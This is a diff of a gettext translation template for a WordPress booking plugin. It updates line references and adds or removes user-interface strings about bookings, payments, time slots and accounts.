-#: includes/custom-texts.php:1129
+#: includes/custom-texts.php:1136
 msgid "Override Prices"
 msgstr ""
 
-#: includes/custom-texts.php:1130
+#: includes/custom-texts.php:1137
 msgid ""
 "You can override prices of each service here. If you leave a price field "
 "empty, its regular price will be used. If you set a price as zero, it will "
 "be free."
 msgstr ""
 
-#: includes/custom-texts.php:1131
+#: includes/custom-texts.php:1138
 msgid "Your personal page could not be found. Please contact admin."
 msgstr ""
 
-#: includes/custom-texts.php:1132
+#: includes/custom-texts.php:1139
 msgid "Please make sure you enter your password twice"
 msgstr ""
 
-#: includes/custom-texts.php:1133
+#: includes/custom-texts.php:1140
 msgid "The passwords you entered do not match"
 msgstr ""
 
-#: includes/custom-texts.php:1135
+#: includes/custom-texts.php:1142
 msgid "Tags"
 msgstr ""
 
-#: includes/custom-texts.php:1136
+#: includes/custom-texts.php:1143
 msgid "Complete Sign Up"
 msgstr ""
 
-#: includes/custom-texts.php:1138
+#: includes/custom-texts.php:1145
 msgid "Tagline"
 msgstr ""
 
-#: includes/custom-texts.php:1139
+#: includes/custom-texts.php:1146
 msgid "Time of the day"
 msgstr ""
 
-#: includes/custom-texts.php:1140
+#: includes/custom-texts.php:1147
 msgid "Title"
 msgstr ""
 
-#: includes/custom-texts.php:1141
+#: includes/custom-texts.php:1148
 msgid "Upload Photo"
 msgstr ""
 
-#: includes/custom-texts.php:1142
+#: includes/custom-texts.php:1149
 msgid "Please enter a username"
 msgstr ""
 
-#: includes/custom-texts.php:1143
+#: includes/custom-texts.php:1150
 msgid "Sorry, that username already exists!"
 msgstr ""
 
-#: includes/custom-texts.php:1144
+#: includes/custom-texts.php:1151
 msgid "That username is not allowed"
 msgstr ""
 
-#: includes/custom-texts.php:1145
+#: includes/custom-texts.php:1152
 msgid "Usernames can contain only letters, numbers, ., -, and @"
 msgstr ""
 
-#: includes/custom-texts.php:1146
+#: includes/custom-texts.php:1153
 msgid "Sorry, usernames must have letters too!"
 msgstr ""
 
-#: includes/custom-texts.php:1147
+#: includes/custom-texts.php:1154
 msgid "Username must be at least 4 characters"
 msgstr ""
 
-#: includes/custom-texts.php:1148
+#: includes/custom-texts.php:1155
 msgid "Sorry, usernames may not contain the character \"_\"!"
 msgstr ""
 
-#: includes/custom-texts.php:1149
+#: includes/custom-texts.php:1156
 msgid "Video"
 msgstr ""
 
-#: includes/custom-texts.php:1150
+#: includes/custom-texts.php:1157
 msgid ""
 "Please wait until you receive an email from us about the result of your "
 "vendor application."
 msgstr ""
 
-#: includes/custom-texts.php:1153
+#: includes/custom-texts.php:1159
 msgid "Next"
 msgstr ""
 
-#: includes/custom-texts.php:1154
+#: includes/custom-texts.php:1160
 msgid "Ends next day"
 msgstr ""
 
-#: includes/custom-texts.php:1156
+#: includes/custom-texts.php:1162
 msgid "Next Months"
 msgstr ""
 
-#: includes/custom-texts.php:1158
+#: includes/custom-texts.php:1164
 msgid "Next Weeks"
 msgstr ""
 
-#: includes/custom-texts.php:1161
+#: includes/custom-texts.php:1167
 msgid "Cancelled Jobs"
 msgstr ""
 
-#: includes/custom-texts.php:1162
+#: includes/custom-texts.php:1168
 msgid "Completed Jobs"
 msgstr ""
 
-#: includes/custom-texts.php:1163
+#: includes/custom-texts.php:1169
 msgid "Remaining Jobs"
 msgstr ""
 
-#: includes/custom-texts.php:1164
+#: includes/custom-texts.php:1170
 msgid "Total Jobs"
 msgstr ""
 
-#: includes/custom-texts.php:1166
+#: includes/custom-texts.php:1172
 msgid "Guest names"
 msgstr ""
 
-#: includes/custom-texts.php:1167
+#: includes/custom-texts.php:1173
 #, php-format
 msgid "Name of the %d. guest"
 msgstr ""
 
-#: includes/custom-texts.php:1168
+#: includes/custom-texts.php:1174
 msgid "No Show"
 msgstr ""
 
-#: includes/custom-texts.php:1170
+#: includes/custom-texts.php:1176
 msgid "You did not make any changes."
 msgstr ""
 
-#: includes/custom-texts.php:1171
+#: includes/custom-texts.php:1177
 msgid "Notice"
 msgstr ""
 
-#: includes/custom-texts.php:1172
+#: includes/custom-texts.php:1178
 msgid "This time slot has been already booked. Please pick another time."
 msgstr ""
 
-#: includes/custom-texts.php:1173
+#: includes/custom-texts.php:1179
 msgid "Not defined"
 msgstr ""
 
-#: includes/custom-texts.php:1174
+#: includes/custom-texts.php:1180
 msgid ""
 "We are sorry, but we do not have enough capacity to fulfil the request at "
 "the moment. Please refresh the page and try other time slots. Thank you."
 msgstr ""
 
-#: includes/custom-texts.php:1175
+#: includes/custom-texts.php:1181
 msgid "Not enough credits"
 msgstr ""
 
-#: includes/custom-texts.php:1176
+#: includes/custom-texts.php:1182
 msgid "You don't have enough service package left"
 msgstr ""
 
-#: includes/custom-texts.php:1177
+#: includes/custom-texts.php:1183
 msgid ""
 "You need to login for this action. Click here to login: LOGIN_PAGE OR click "
 "here to register: REGISTRATION_PAGE"
 msgstr ""
 
-#: includes/custom-texts.php:1178
+#: includes/custom-texts.php:1184
 msgid ""
 "Action failed, because our records could not confirm that this booking was "
 "made by you in the first place."
 msgstr ""
 
-#: includes/custom-texts.php:1179
+#: includes/custom-texts.php:1185
 msgid "Action or selection is not possible."
 msgstr ""
 
-#: includes/custom-texts.php:1180
+#: includes/custom-texts.php:1186
 msgid "Booking is not possible at the moment."
 msgstr ""
 
-#: includes/custom-texts.php:1181
+#: includes/custom-texts.php:1187
 msgid ""
 "Sorry, service or provider is not available for the selected date/time. "
 "Please pick another time."
 msgstr ""
 
-#: includes/custom-texts.php:1182
+#: includes/custom-texts.php:1188
 msgid "No bookings"
 msgstr ""
 
-#: includes/custom-texts.php:1183 includes/custom-texts.php:1188
+#: includes/custom-texts.php:1189 includes/custom-texts.php:1194
 #: includes/debug.php:245
 msgid "Not available"
 msgstr ""
 
-#: includes/custom-texts.php:1184
+#: includes/custom-texts.php:1190
 msgid "No preference"
 msgstr ""
 
-#: includes/custom-texts.php:1185
+#: includes/custom-texts.php:1191
 msgid "No repeat"
 msgstr ""
 
-#: includes/custom-texts.php:1186
+#: includes/custom-texts.php:1192
 msgid "No services"
 msgstr ""
 
-#: includes/custom-texts.php:1187
+#: includes/custom-texts.php:1193
 msgid "No result"
 msgstr ""
 
-#: includes/custom-texts.php:1189
+#: includes/custom-texts.php:1195
 msgid "(optional)"
 msgstr ""
 
-#: includes/custom-texts.php:1190
+#: includes/custom-texts.php:1196
 msgid "Order No"
 msgstr ""
 
-#: includes/custom-texts.php:1191
+#: includes/custom-texts.php:1197
 msgid "Staff"
 msgstr ""
 
-#: includes/custom-texts.php:1196
+#: includes/custom-texts.php:1202
 msgid "All paid up."
 msgstr ""
 
-#: includes/custom-texts.php:1197
+#: includes/custom-texts.php:1203
 msgid "Participants"
 msgstr ""
 
-#: includes/custom-texts.php:1198
+#: includes/custom-texts.php:1204
 #, php-format
 msgid "%d. Guest - %s"
 msgstr ""
 
-#: includes/custom-texts.php:1199
+#: includes/custom-texts.php:1205
 msgid "Partly Busy"
 msgstr ""
 
-#: includes/custom-texts.php:1200 includes/custom-texts.php:1379
+#: includes/custom-texts.php:1206 includes/custom-texts.php:1384
 msgid "Password"
 msgstr ""
 
-#: includes/custom-texts.php:1201
+#: includes/custom-texts.php:1207
 msgid "Repeat Password"
 msgstr ""
 
-#: includes/custom-texts.php:1202
+#: includes/custom-texts.php:1208
 msgid "You cannot select a past date/time."
 msgstr ""
 
-#: includes/custom-texts.php:1204
+#: includes/custom-texts.php:1210
 msgid "Payment method selection required"
 msgstr ""
 
-#: includes/custom-texts.php:1206
+#: includes/custom-texts.php:1212
 msgid "PayPal"
 msgstr ""
 
-#: includes/custom-texts.php:1208
+#: includes/custom-texts.php:1214
 msgid "Email of PayPal account where commission payments will be sent"
 msgstr ""
 
-#: includes/custom-texts.php:1209
+#: includes/custom-texts.php:1215
 msgid "Please enter a valid PayPal Email or leave it empty"
 msgstr ""
 
-#: includes/custom-texts.php:1210
+#: includes/custom-texts.php:1216
 msgid "Confirm Payment"
 msgstr ""
 
-#: includes/custom-texts.php:1211
+#: includes/custom-texts.php:1217
 msgid ""
 "Please confirm payment of <strong>AMOUNT</strong> for this booking that will "
 "be collected from your <strong>EMAIL</strong> PayPal account."
 msgstr ""
 
-#: includes/custom-texts.php:1212
+#: includes/custom-texts.php:1218
 msgid "Pay AMOUNT"
 msgstr ""
 
-#: includes/custom-texts.php:1213
+#: includes/custom-texts.php:1219
 msgid "Payment Method"
 msgstr ""
 
-#: includes/custom-texts.php:1215
+#: includes/custom-texts.php:1221
 msgid "Pdf"
 msgstr ""
 
-#: includes/custom-texts.php:1216
+#: includes/custom-texts.php:1222
 msgid "Download"
 msgstr ""
 
-#: includes/custom-texts.php:1217
+#: includes/custom-texts.php:1223
 msgid "Confirmation in pdf form will be downloaded to your PC."
 msgstr ""
 
-#: includes/custom-texts.php:1219
+#: includes/custom-texts.php:1225
 msgid "Pending Approval"
 msgstr ""
 
-#: includes/custom-texts.php:1220
+#: includes/custom-texts.php:1226
 msgid "Pending Payment"
 msgstr ""
 
-#: includes/custom-texts.php:1221
+#: includes/custom-texts.php:1227
 msgid "Pax Details"
 msgstr ""
 
-#: includes/custom-texts.php:1224
+#: includes/custom-texts.php:1229
 msgid "Please Wait..."
 msgstr ""
 
-#: includes/custom-texts.php:1225
+#: includes/custom-texts.php:1230
 msgid "PM to RECIPIENT"
 msgstr ""
 
-#: includes/custom-texts.php:1226
+#: includes/custom-texts.php:1231
 #, php-format
 msgid "Phone of the %d. guest"
 msgstr ""
 
-#: includes/custom-texts.php:1227
+#: includes/custom-texts.php:1232
 msgid "Preferred Language"
 msgstr ""
 
-#: includes/custom-texts.php:1228
+#: includes/custom-texts.php:1233
 msgid "Preparing form..."
 msgstr ""
 
-#: includes/custom-texts.php:1229
+#: includes/custom-texts.php:1234
 msgid "Checking..."
 msgstr ""
 
-#: includes/custom-texts.php:1230
+#: includes/custom-texts.php:1235
 msgid "Previous"
 msgstr ""
 
-#: includes/custom-texts.php:1231
+#: includes/custom-texts.php:1236
 msgid "Previous Month"
 msgstr ""
 
-#: includes/custom-texts.php:1232
+#: includes/custom-texts.php:1237
 msgid "Previous Months"
 msgstr ""
 
-#: includes/custom-texts.php:1233
+#: includes/custom-texts.php:1238
 msgid "Previous Week"
 msgstr ""
 
-#: includes/custom-texts.php:1234
+#: includes/custom-texts.php:1239
 msgid "Previous Weeks"
 msgstr ""
 
-#: includes/custom-texts.php:1236
+#: includes/custom-texts.php:1241
 msgid "We are sorry, but this price is no more valid."
 msgstr ""
 
-#: includes/custom-texts.php:1237
+#: includes/custom-texts.php:1242
 msgid ""
 "We are glad to inform you that we can offer even a better price now. Please "
 "review the new price and confirm again."
 msgstr ""
 
-#: includes/custom-texts.php:1238
+#: includes/custom-texts.php:1243
 msgid "PM"
 msgstr ""
 
-#: includes/custom-texts.php:1239
+#: includes/custom-texts.php:1244
 msgid "Click OK to proceed."
 msgstr ""
 
-#: includes/custom-texts.php:1240
+#: includes/custom-texts.php:1245
 msgid "Processing..."
 msgstr ""
 
-#: includes/custom-texts.php:1243
+#: includes/custom-texts.php:1248
 msgid "Specialist"
 msgstr ""
 
-#: includes/custom-texts.php:1244
+#: includes/custom-texts.php:1249
 msgid "Specialists"
 msgstr ""
 
-#: includes/custom-texts.php:1245
+#: includes/custom-texts.php:1250
 msgid ""
 "Sorry, but you have reached the booking quota. No additional bookings are "
 "allowed."
 msgstr ""
 
-#: includes/custom-texts.php:1246
+#: includes/custom-texts.php:1251
+msgid "Read More »"
+msgstr ""
+
+#: includes/custom-texts.php:1252
 msgid "Reading data..."
 msgstr ""
 
-#: includes/custom-texts.php:1247
+#: includes/custom-texts.php:1253
 msgid ""
 "Login required for this action. Now you will be redirected to login page."
 msgstr ""
 
-#: includes/custom-texts.php:1248
+#: includes/custom-texts.php:1254
 msgid "Reference"
 msgstr ""
 
-#: includes/custom-texts.php:1249
+#: includes/custom-texts.php:1255
 msgid "Refreshing"
 msgstr ""
 
-#: includes/custom-texts.php:1250 includes/schedules.php:493
+#: includes/custom-texts.php:1256 includes/schedules.php:508
 msgid "Register"
 msgstr ""
 
-#: includes/custom-texts.php:1251
+#: includes/custom-texts.php:1257
 msgid "Remember me"
 msgstr ""
 
-#: includes/custom-texts.php:1252
+#: includes/custom-texts.php:1258
 msgid "Removed!"
 msgstr ""
 
-#: includes/custom-texts.php:1253
+#: includes/custom-texts.php:1259
 msgid "Removed"
 msgstr ""
 
-#: includes/custom-texts.php:1255
+#: includes/custom-texts.php:1261
 msgid "Reserved by GCal"
 msgstr ""
 
-#: includes/custom-texts.php:1256
+#: includes/custom-texts.php:1262
 msgid "Resource"
 msgstr ""
 
-#: includes/custom-texts.php:1258
+#: includes/custom-texts.php:1264
 msgid "Room ID"
 msgstr ""
 
-#: includes/custom-texts.php:1259
+#: includes/custom-texts.php:1265
 msgid "In Progress"
 msgstr ""
 
-#: includes/custom-texts.php:1264 includes/notices.php:530
+#: includes/custom-texts.php:1270 includes/notices.php:530
 msgid "Settings saved."
 msgstr ""
 
-#: includes/custom-texts.php:1265
+#: includes/custom-texts.php:1271
 msgid "Save changes"
 msgstr ""
 
-#: includes/custom-texts.php:1266
+#: includes/custom-texts.php:1272
 msgid "Booking could not be saved. Please contact website admin."
 msgstr ""
 
-#: includes/custom-texts.php:1267
+#: includes/custom-texts.php:1273
 msgid "Saving..."
 msgstr ""
 
-#: includes/custom-texts.php:1270
+#: includes/custom-texts.php:1276
 msgid "Seats Left"
 msgstr ""
 
-#: includes/custom-texts.php:1271
+#: includes/custom-texts.php:1277
 msgid "Seats Total"
 msgstr ""
 
-#: includes/custom-texts.php:1272
+#: includes/custom-texts.php:1278
 msgid "Seats Total/Left"
 msgstr ""
 
-#: includes/custom-texts.php:1273
+#: includes/custom-texts.php:1279
 msgid "second"
 msgstr ""
 
-#: includes/custom-texts.php:1274
+#: includes/custom-texts.php:1280
 msgid "seconds"
 msgstr ""
 
-#: includes/custom-texts.php:1276
+#: includes/custom-texts.php:1282
 msgid "Select"
 msgstr ""
 
-#: includes/custom-texts.php:1277
+#: includes/custom-texts.php:1283
 msgid "Please select"
 msgstr ""
 
-#: includes/custom-texts.php:1278
+#: includes/custom-texts.php:1284
 msgid "Selected"
 msgstr ""
 
-#: includes/custom-texts.php:1279
+#: includes/custom-texts.php:1285
 msgid "Refresh"
 msgstr ""
 
-#: includes/custom-texts.php:1280
+#: includes/custom-texts.php:1286
 msgid "Select credits to buy"
 msgstr ""
 
-#: includes/custom-texts.php:1281
+#: includes/custom-texts.php:1287
 msgid "Select Date"
 msgstr ""
 
-#: includes/custom-texts.php:1284
+#: includes/custom-texts.php:1290
 msgid "Selection limit exceeded"
 msgstr ""
 
-#: includes/custom-texts.php:1285
+#: includes/custom-texts.php:1291
 msgid "Select Location"
 msgstr ""
 
-#: includes/custom-texts.php:1286
+#: includes/custom-texts.php:1292
 msgid "Select Specialist"
 msgstr ""
 
-#: includes/custom-texts.php:1289
+#: includes/custom-texts.php:1295
 msgid "Occurence"
 msgstr ""
 
-#: includes/custom-texts.php:1290
+#: includes/custom-texts.php:1296
 msgid "Number of Guests"
 msgstr ""
 
-#: includes/custom-texts.php:1294
+#: includes/custom-texts.php:1300
 msgid "Server Time"
 msgstr ""
 
-#: includes/custom-texts.php:1295
+#: includes/custom-texts.php:1301
 msgid "Server Day"
 msgstr ""
 
-#: includes/custom-texts.php:1296
+#: includes/custom-texts.php:1302
 msgid "Server Timezone"
 msgstr ""
 
-#: includes/custom-texts.php:1302
+#: includes/custom-texts.php:1308
 msgid "Please select at least one service"
 msgstr ""
 
-#: includes/custom-texts.php:1304
+#: includes/custom-texts.php:1310
 msgid "Session"
 msgstr ""
 
-#: includes/custom-texts.php:1306
+#: includes/custom-texts.php:1312
 msgid "Showing"
 msgstr ""
 
-#: includes/custom-texts.php:1307
+#: includes/custom-texts.php:1313
 msgid "Sort Order"
 msgstr ""
 
-#: includes/custom-texts.php:1308
+#: includes/custom-texts.php:1314
 msgid ""
 "You have already applied for an appointment. Please wait until you hear from "
 "us."
 msgstr ""
 
-#: includes/custom-texts.php:1309
+#: includes/custom-texts.php:1315
 msgid "Stand by"
 msgstr ""
 
-#: includes/custom-texts.php:1311
+#: includes/custom-texts.php:1317
 msgid "State"
 msgstr ""
 
-#: includes/custom-texts.php:1315
+#: includes/custom-texts.php:1320
 msgid "Store"
 msgstr ""
 
-#: includes/custom-texts.php:1317
+#: includes/custom-texts.php:1322
 msgid "Store Settings"
 msgstr ""
 
-#: includes/custom-texts.php:1318
+#: includes/custom-texts.php:1323
 msgid "Submit"
 msgstr ""
 
-#: includes/custom-texts.php:1319
+#: includes/custom-texts.php:1324
 msgid "Summary"
 msgstr ""
 
-#: includes/custom-texts.php:1323
+#: includes/custom-texts.php:1328
 msgid "Tax"
 msgstr ""
 
-#: includes/custom-texts.php:1324
+#: includes/custom-texts.php:1329
 msgid "To be announced"
 msgstr ""
 
-#: includes/custom-texts.php:1329
+#: includes/custom-texts.php:1334
 msgid "Time"
 msgstr ""
 
-#: includes/custom-texts.php:1330
+#: includes/custom-texts.php:1335
 msgid "Duty Roster"
 msgstr ""
 
-#: includes/custom-texts.php:1331
+#: includes/custom-texts.php:1336
 msgid "Time Zone"
 msgstr ""
 
-#: includes/custom-texts.php:1332
+#: includes/custom-texts.php:1337
 msgid "Select your timezone"
 msgstr ""
 
-#: includes/custom-texts.php:1334
-msgid "We are sorry, but it is too late for this action."
+#: includes/custom-texts.php:1339
+msgid "It is too early for this action."
 msgstr ""
 
-#: includes/custom-texts.php:1335
+#: includes/custom-texts.php:1340
+msgid "It is too late for this action."
+msgstr ""
+
+#: includes/custom-texts.php:1341
 #, php-format
 msgid "You should select at least %d time slots to proceed."
 msgstr ""
 
-#: includes/custom-texts.php:1337
+#: includes/custom-texts.php:1343
 msgid "You have exceeded trial services limit LIMIT"
 msgstr ""
 
-#: includes/custom-texts.php:1338
+#: includes/custom-texts.php:1344
 msgid "You can take only one trial service from the same person"
 msgstr ""
 
-#: includes/custom-texts.php:1339
+#: includes/custom-texts.php:1345
 msgid "Price after coupon applied"
 msgstr ""
 
-#: includes/custom-texts.php:1340
+#: includes/custom-texts.php:1346
 msgid "Special price for you"
 msgstr ""
 
-#: includes/custom-texts.php:1341
+#: includes/custom-texts.php:1347
 msgid "Regular price"
 msgstr ""
 
-#: includes/custom-texts.php:1345
+#: includes/custom-texts.php:1351
 msgid ""
 "Authorization check failed. Try to refresh page. If you are logged in, try "
 "to log out and login again."
 msgstr ""
 
-#: includes/custom-texts.php:1348 includes/notices.php:546
+#: includes/custom-texts.php:1354 includes/notices.php:546
 msgid "Selected record(s) updated."
 msgstr ""
 
-#: includes/custom-texts.php:1349
+#: includes/custom-texts.php:1355
 msgid "Updating..."
 msgstr ""
 
-#: includes/custom-texts.php:1350
+#: includes/custom-texts.php:1356
 msgid "Username"
 msgstr ""
 
-#: includes/custom-texts.php:1351
+#: includes/custom-texts.php:1357
 msgid "Username or email"
 msgstr ""
 
-#: includes/custom-texts.php:1352
+#: includes/custom-texts.php:1358
 msgid "Use Server Timezone"
 msgstr ""
 
-#: includes/custom-texts.php:1356
+#: includes/custom-texts.php:1362
 msgid "Add to Waiting List"
 msgstr ""
 
-#: includes/custom-texts.php:1357
+#: includes/custom-texts.php:1363
 msgid ""
 "Unfortunately this slot has been reserved. Please wait for another "
 "notification message from us."
 msgstr ""
 
-#: includes/custom-texts.php:1362 includes/functions.internal.php:1597
+#: includes/custom-texts.php:1368 includes/functions.internal.php:1597
 msgid "Weekday"
 msgstr ""
 
-#: includes/custom-texts.php:1363 includes/functions.internal.php:1598
+#: includes/custom-texts.php:1369 includes/functions.internal.php:1598
 msgid "Weekend"
 msgstr ""
 
-#: includes/custom-texts.php:1364
+#: includes/custom-texts.php:1370
 msgid "Weekly"
 msgstr ""
 
-#: includes/custom-texts.php:1365
+#: includes/custom-texts.php:1371
 msgid "SERVICE - START_END"
 msgstr ""
 
-#: includes/custom-texts.php:1366
+#: includes/custom-texts.php:1372
 msgid "weeks"
 msgstr ""
 
-#: includes/custom-texts.php:1370
+#: includes/custom-texts.php:1376
 #, php-format
 msgid "Please check submitted %s entry!"
 msgstr ""
 
-#: includes/custom-texts.php:1371
+#: includes/custom-texts.php:1377
 msgid "Year"
 msgstr ""
 
-#: includes/custom-texts.php:1373
+#: includes/custom-texts.php:1379
 msgid "Your Rate"
 msgstr ""
 
-#: includes/custom-texts.php:1401
+#: includes/custom-texts.php:1406
 msgid "Custom Texts"
 msgstr ""
 
-#: includes/custom-texts.php:1452
+#: includes/custom-texts.php:1457
 msgid ""
 "Here you can quickly customize <b>admin side</b> terms and localize "
 "(translate) some or all of the <b>front end</b> texts (javascript messages, "
 "column names, day names, field titles, etc)."
 msgstr ""
 
-#: includes/custom-texts.php:1453
+#: includes/custom-texts.php:1458
 msgid ""
 "<b>Admin side text replace</b> is intended for quick terminology change, not "
 "for translation. To make a full localization for the admin side, use a "
 "translation tool, e.g. Loco Translate, instead."
 msgstr ""
 
-#: includes/custom-texts.php:1455
+#: includes/custom-texts.php:1460
 msgid ""
 "<b>Front end text replace</b> usage: Search for the original text using the "
 "Search field. Matching results will be dynamically filtered. Enter your "
@@ -22411,7 +23343,7 @@
 "the default text will be used."
 msgstr ""
 
-#: includes/custom-texts.php:1457
+#: includes/custom-texts.php:1462
 msgid ""
 "Note for <b>shortcode texts:</b> When a shortcode parameter (e.g. "
 "monthly_title: Title of monthly calendar) is not explicitly set, it will be "
@@ -22421,17 +23353,17 @@
 "not set, the default text."
 msgstr ""
 
-#: includes/custom-texts.php:1466
+#: includes/custom-texts.php:1471
 msgid "Admin Side Text Replace"
 msgstr ""
 
-#: includes/custom-texts.php:1470
+#: includes/custom-texts.php:1475
 msgid ""
 "Enter find|replace pairs. Example: service provider|specialist, provider|"
 "specialist, services|facilities, service|facility"
 msgstr ""
 
-#: includes/custom-texts.php:1472
+#: includes/custom-texts.php:1477
 msgid ""
 "Here you can enter old text|new text pairs to replace a term globally on "
 "admin side. Separate multiple entries by comma, e.g. \"service provider|"
@@ -22443,23 +23375,23 @@
 "as well. For example, Service will be replaced with Facility."
 msgstr ""
 
-#: includes/custom-texts.php:1480
+#: includes/custom-texts.php:1485
 msgid "Front End Text Replace"
 msgstr ""
 
-#: includes/custom-texts.php:1486
+#: includes/custom-texts.php:1491
 msgid "Descr."
 msgstr ""
 
-#: includes/custom-texts.php:1487
+#: includes/custom-texts.php:1492
 msgid "Default Text (Not editable)"
 msgstr ""
 
-#: includes/custom-texts.php:1488
+#: includes/custom-texts.php:1493
 msgid "Your Text (Editable)"
 msgstr ""
 
-#: includes/custom-texts.php:1527
+#: includes/custom-texts.php:1532
 msgid "Save Custom Texts"
 msgstr ""
 
@@ -22559,11 +23491,11 @@
 msgid "Not possible to book"
 msgstr ""
 
-#: includes/freeons/categories/categories.php:299
+#: includes/freeons/categories/categories.php:292
 msgid "Category:"
 msgstr ""
 
-#: includes/freeons/categories/categories.php:359
+#: includes/freeons/categories/categories.php:352
 msgid ""
 "Service categories are optional. They can be used in order to group your "
 "services. Once you define categories, you will need to assign each service "
@@ -22571,19 +23503,19 @@
 "at the front end."
 msgstr ""
 
-#: includes/freeons/categories/categories.php:368
+#: includes/freeons/categories/categories.php:361
 msgid "Add New Category"
 msgstr ""
 
-#: includes/freeons/categories/categories.php:400
+#: includes/freeons/categories/categories.php:393
 msgid "No categories defined"
 msgstr ""
 
-#: includes/freeons/categories/categories.php:408
+#: includes/freeons/categories/categories.php:401
 msgid "<i>Tip: To delete a category, just clear its name and save.</i>"
 msgstr ""
 
-#: includes/freeons/categories/categories.php:415
+#: includes/freeons/categories/categories.php:408
 msgid "Save Categories"
 msgstr ""
 
@@ -23156,19 +24088,6 @@
 msgid "FE Booking Management"
 msgstr ""
 
-#: includes/freeons/front-end-edit.php:339
-#: includes/freeons/front-end-edit.php:364
-msgid "Edit Booking"
-msgstr ""
-
-#: includes/freeons/front-end-edit.php:824
-msgid "Front End Edit"
-msgstr ""
-
-#: includes/freeons/front-end-edit.php:849
-msgid "Display, but do not change"
-msgstr ""
-
 #: includes/freeons/limited-availability.php:67
 msgid "Availability"
 msgstr ""
@@ -23213,10 +24132,6 @@
 msgstr ""
 
 #: includes/freeons/manual-payments/manual-payments.php:108
-msgid "Transaction ID"
-msgstr ""
-
-#: includes/freeons/manual-payments/manual-payments.php:108
 msgid "e.g. receipt no, check no"
 msgstr ""
 
@@ -23450,24 +24365,24 @@
 msgid " %1$s confirmed appointment of %2$s having ID: %3$s"
 msgstr ""
 
-#: includes/front-listing.php:126
+#: includes/front-listing.php:195
 msgid "Check \"status\" parameter in List shortcode"
 msgstr ""
 
-#: includes/front-listing.php:174
+#: includes/front-listing.php:243
 msgid ""
 "Not enough capability to view bookings when \"what\" attribute is \"all\""
 msgstr ""
 
-#: includes/front-listing.php:177 includes/front-listing.php:484
+#: includes/front-listing.php:246 includes/front-listing.php:625
 msgid "Check \"what\" parameter in List shortcode"
 msgstr ""
 
-#: includes/front-listing.php:329
+#: includes/front-listing.php:470
 msgid "Connected bookings"
 msgstr ""
 
-#: includes/front-listing.php:612
+#: includes/front-listing.php:754
 #, php-format
 msgid "Click to manage booking #%s"
 msgstr ""
@@ -23484,7 +24399,7 @@
 msgid "Connected with mobile device. Content wrapped by shortcode ignored."
 msgstr ""
 
-#: includes/front.php:2011
+#: includes/front.php:2013
 msgid "Check \"Unit\" parameter in Pagination shortcode"
 msgstr ""
 
@@ -23496,21 +24411,21 @@
 msgid "Select country"
 msgstr ""
 
-#: includes/functions.booking.php:447
+#: includes/functions.booking.php:436
 msgid "User does not exist"
 msgstr ""
 
-#: includes/functions.front.php:764
+#: includes/functions.front.php:766
 #, php-format
 msgid "Check \"%s\" attribute(s) in Book shortcode"
 msgstr ""
 
-#: includes/functions.front.php:804
+#: includes/functions.front.php:806
 #, php-format
 msgid "Check \"%s\" attribute in Book shortcode"
 msgstr ""
 
-#: includes/functions.front.php:1264
+#: includes/functions.front.php:1266
 msgid "Check \"range\" attribute in book shortcode"
 msgstr ""
 
@@ -23617,52 +24532,52 @@
 "Required: 3.5.0 - Installed: %s"
 msgstr ""
 
-#: includes/functions.internal.php:2934
+#: includes/functions.internal.php:2969
 msgid "below"
 msgstr ""
 
-#: includes/functions.internal.php:2937
+#: includes/functions.internal.php:2972
 #, php-format
 msgid "%s is not activated"
 msgstr ""
 
-#: includes/functions.internal.php:2941
+#: includes/functions.internal.php:2976
 msgid "Monthly calendar"
 msgstr ""
 
-#: includes/functions.internal.php:2942
+#: includes/functions.internal.php:2977
 msgid "Weekly calendar - 2 weeks"
 msgstr ""
 
-#: includes/functions.internal.php:2943
+#: includes/functions.internal.php:2978
 msgid "Table view - 10 booking rows"
 msgstr ""
 
-#: includes/functions.internal.php:2944
+#: includes/functions.internal.php:2979
 msgid "Table view - 2 days"
 msgstr ""
 
-#: includes/functions.internal.php:2946
+#: includes/functions.internal.php:2981
 msgid "Flex view - Vertical, 2 weeks"
 msgstr ""
 
-#: includes/functions.internal.php:2947
+#: includes/functions.internal.php:2982
 msgid "Flex view - Horizontal, 10 days"
 msgstr ""
 
-#: includes/functions.internal.php:2951
+#: includes/functions.internal.php:2986
 msgid "Create Page Now"
 msgstr ""
 
-#: includes/functions.internal.php:2959
+#: includes/functions.internal.php:2994
 msgid "Also create a My Account Page"
 msgstr ""
 
-#: includes/functions.internal.php:2963
+#: includes/functions.internal.php:2998
 msgid "Also redirect client to My Account Page"
 msgstr ""
 
-#: includes/functions.internal.php:2968
+#: includes/functions.internal.php:3003
 #, php-format
 msgid ""
 "Immediately creates a front end booking page with title \"%s\" with the "
@@ -23671,25 +24586,25 @@
 "customize this page later."
 msgstr ""
 
-#: includes/functions.internal.php:2969
+#: includes/functions.internal.php:3004
 #, php-format
 msgid "For layout examples, please visit our %s."
 msgstr ""
 
-#: includes/functions.internal.php:2972
+#: includes/functions.internal.php:3007
 msgid ""
 "Checking \"Create a My Account Page\" checkbox will additionally create a "
 "page with title \"My Account\" with <code>[app_account]</code> shortcode."
 msgstr ""
 
-#: includes/functions.internal.php:2973
+#: includes/functions.internal.php:3008
 #, php-format
 msgid ""
 "Checking \"Redirect client...\" checkbox will automatically fill the "
 "Redirect Url field %s."
 msgstr ""
 
-#: includes/functions.internal.php:2982
+#: includes/functions.internal.php:3017
 #, php-format
 msgid ""
 "<b>Note:</b> You already have a \"%s\" page. If you click Create page Now "
@@ -23697,10 +24612,31 @@
 "page:"
 msgstr ""
 
-#: includes/functions.internal.php:2985
+#: includes/functions.internal.php:3020
 msgid "To view the page:"
 msgstr ""
 
+#: includes/functions.listing.php:148 includes/schedules.php:401
+#, php-format
+msgid "EDIT BOOKING (%d)"
+msgstr ""
+
+#: includes/functions.listing.php:377
+msgid "This is not your booking"
+msgstr ""
+
+#: includes/functions.listing.php:506 includes/schedules.php:812
+msgid "Changes saved. Closing shortly..."
+msgstr ""
+
+#: includes/functions.listing.php:812
+msgid "Dock to left"
+msgstr ""
+
+#: includes/functions.listing.php:813
+msgid "Dock to right"
+msgstr ""
+
 #: includes/gateways.php:88
 #, php-format
 msgid ""
@@ -24082,64 +25018,43 @@
 "the plugin (DO NOT delete the plugin). You will not lose any data."
 msgstr ""
 
-#: includes/schedules.php:185
-msgid "Role not supported at the moment"
-msgstr ""
-
-#: includes/schedules.php:386
-#, php-format
-msgid "EDIT BOOKING (%d)"
-msgstr ""
-
-#: includes/schedules.php:495
+#: includes/schedules.php:510
 msgid "If checked and email provided, new client will be created"
 msgstr ""
 
-#: includes/schedules.php:529
+#: includes/schedules.php:544
 msgid "Notify"
 msgstr ""
 
-#: includes/schedules.php:530
+#: includes/schedules.php:545
 msgid "Send Email to Client"
 msgstr ""
